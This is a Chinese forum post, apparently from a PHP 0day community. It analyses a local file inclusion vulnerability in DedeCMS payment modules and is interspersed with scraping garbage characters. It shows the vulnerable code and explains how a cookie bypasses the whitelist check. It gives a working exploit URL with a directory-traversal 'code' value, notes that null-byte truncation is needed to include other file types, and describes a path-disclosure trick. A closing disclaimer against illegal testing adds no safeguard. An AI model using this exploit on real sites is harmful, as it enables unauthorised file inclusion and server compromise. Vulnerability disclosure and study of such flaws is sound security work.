晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
" I; p3 D0 Z4 j9 {
5 M" k# n# ~) T7 d出现漏洞的两个文件为:
* @) p) u0 r6 d9 r+ QInclude/payment/alipay.php- A1 |$ c* c0 N4 ]- D8 {
Include/payment/yeepay.php; \+ `/ h2 @+ d+ H' W' \
漏洞均出现在respond方法里,估计这两个文件是临时工写的。! T5 \7 ]+ A: c0 N
$ F! q* K2 t. W$ P. A8 e. K$ YInclude/payment/alipay.php c! v% ?9 B* r# A. v9 p) u2 O
6 J5 d' \) e8 ]......
% @/ `0 W3 ]. ~9 a function respond()3 p8 Z. x+ n7 ]* q
{5 w' {3 M/ K8 K) _, t( E& K0 s
if (!empty($_POST))
) I! @' {% u! R$ n: x {" G/ j7 I' z, I
foreach($_POST as $key => $data)' K! J$ P, x6 C6 w
{
2 }0 b8 l, r8 b! D4 n, o$ V2 ~ $_GET[$key] = $data;
s' I$ m' W0 U% Z+ K% I }8 Q' W2 o9 f X. z& u
}$ v# U% M" O' Z S. c
/* 引入配置文件 */
" O. z$ X/ K0 p. a8 a require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
7 n5 Y/ A" ~5 a8 S" \( S1 [ }...... 5 _4 L7 o8 F! j
% `0 A* o3 B s' f% |
/ f2 A. d% n1 F; a
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
; U0 r/ T" ^2 W s( ?2 t; y* u2 S
8 w/ |4 @% r/ N. @3 RInclude/payment/yeepay.php9 K" \+ ]/ E7 C( L+ ?
3 r: K4 K; R& g2 b8 f" k" t, ~' w
" @% ~2 c: H! L' f
- k+ ?& w+ g. V+ k4 H7 a$ |......" k2 G6 T7 z- e$ z0 B9 H! k
function respond()
6 ~6 i( W; ~: U5 C3 ?: o {
" u3 E! T( s# ~% Q# E+ C8 ^
6 {; F! T5 j, ~* L /* 引入配置文件 */
0 O- F0 ?" J1 b require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
% a7 f$ b3 q# C5 @; ^: {9 `" u
; |1 B% }6 u6 w8 g $p1_MerId = trim($payment['yp_account']);
0 N' u% [5 M3 O `, A! T $merchantKey = trim($payment['yp_key']);. \1 {7 c/ U# }- N a$ D
...... ! r1 J7 c! i+ u# X- O
3 Z. \ A+ j+ b" U" Z4 ^
( o1 s6 @. B4 r j( j# Z% J: u8 G, D. s
3 p) f5 i2 a. M: |" Q* }( z, m大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
1 U: I- i5 R. C6 h( y/ }
w! I8 g! r; M" r2 a, m H/ J这两个方法在plus/carbuyaction.php文件调用。6 h6 s) Y8 r% ]6 _. j
* m6 Z% T( g, ]/ @6 m. _* E
plus/carbuyaction.php
- \$ D/ l- C$ s7 d& T" ]# x7 Q/ D- O4 K1 G, w' ?+ j- z
......: Y& {, a" W$ U8 g# e$ K
} else if ($dopost == 'return') {
3 t. J4 ~9 h( J( _ $write_list = array('alipay', 'bank', 'cod', 'yeepay');
* B: ^1 c' c: }' _- j* @+ f if (in_array($code, $write_list))
+ r" C$ j- K; e% Z* t7 P0 @ {
$ [( q' y$ E0 Q$ `. m- K' @ require_once DEDEINC.'/payment/'.$code.'.php';9 @! X7 L+ t& ~7 F# g/ E9 x
$pay = new $code;
, |: c) r9 f5 f5 m: w$ ~# T3 f $msg=$pay->respond();
0 A5 l h% V: m' t9 ^$ L ShowMsg($msg, "javascript:;", 0, 3000);
0 Z/ i3 m* \% T) a" T exit();
3 X3 `8 }3 N+ }' u( c) p } else {4 W/ O- t3 R2 K: u! Z5 V5 I! W
exit('Error:File Type Can\'t Recognized!');
1 z+ p, t' l; B }# ?* x' G, f, @- N1 C
}* F- S/ \$ S& T
......
1 ?5 h) }7 {0 r* y+ s3 U% k- D
2 o1 J$ c ^( [* F& a0 |. P
( n7 A" W* Q3 v) P; e
! ^2 S4 f) { Q" w. v! a
4 M6 Z; f0 Z5 Q
0 u( P o$ L0 W. S# o( H6 u' u
* _ k% U0 D: w) {2 m4 K大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
; a5 i3 s- [+ R1 Z8 G$ s G所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。9 ]3 O8 H+ r8 c1 F$ w& v
3 L1 \' p" N8 {9 k% d4 B
回到include/common.inc.php来看看他的机制。, Y% V: ]6 D8 H1 T
. S" L8 D" ?$ w" Y$ C
4 N" u. }- F8 ], U8 S3 q6 x* p5 l
......
: D P/ E. }3 u& Y3 Oforeach(Array('_GET','_POST','_COOKIE') as $_request)7 y) Q% Q4 f8 } I$ d
{
/ X6 g2 l4 Q9 u' U! R$ m' j, X foreach($$_request as $_k => $_v) 6 D! s; Y4 b, j; r" l4 h, a
{$ ^1 n! f/ W& ^+ K# }1 K3 a# s: w
if($_k == 'nvarname') ${$_k} = $_v;
9 P) w) |: g5 B* p% x else ${$_k} = _RunMagicQuotes($_v); w5 M2 z/ W( h! {# b5 U
}+ C. H. v; S7 }" {; i4 l
}, f- b/ \0 `. ^ B0 U1 }$ B6 v9 o
......
! j4 z4 ~/ N# c大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:; i8 j9 A4 F. f# M" a
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |